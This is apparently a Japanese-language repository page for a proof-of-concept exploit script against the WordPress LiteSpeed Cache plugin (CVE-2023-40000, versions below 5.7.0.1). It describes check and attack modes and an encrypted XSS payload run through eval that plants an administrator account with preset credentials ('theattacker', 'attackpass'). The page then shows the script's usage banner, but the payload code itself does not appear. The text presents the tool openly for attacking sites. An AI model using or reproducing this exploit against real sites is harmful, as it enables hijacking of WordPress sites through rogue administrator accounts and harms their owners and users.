iveresk/cve-2023-40000これはcve-2023-40000のPoCです。Wordpress LiteSpeed Cacheのエクスプロイトです。
これは cve-2023-40000 の PoC です。Wordpress LiteSpeed Cache のエクスプロイトです。
このCVEは、すべての LiteSpeed Cache < 5.7.0.1 に適用される可能性があります。
check と attack の2つのモードで動作します。
脆弱なIPはバージョンをgrepします。バージョンがない場合（ターゲットがWAFで保護されている場合）。
XSSコードは、事前定義されたログイン/パスワード/メールでeval関数用に暗号化されます。
# user_login=theattacker
# [email protected]
# pass1=attackpass&pass2=attackpass
# role=administrator
echo "----------------Welcome-to-cve-2023-40000-script-by-1veresk------------+";
echo "+----------------------------------------------------------------------+";
echo "+-------------------For-The-Help---------------------------------------+";
echo "Example#1: ./cve-2023-40000.sh -h--------------------------------------+";
echo "+-------------------For-The--Check-------------------------------------+";
echo "Example#2: ./cve-2023-40000.sh <TARGET_FILE> <MODE>--------------------+";
echo "+----------------------------------------------------------------------+";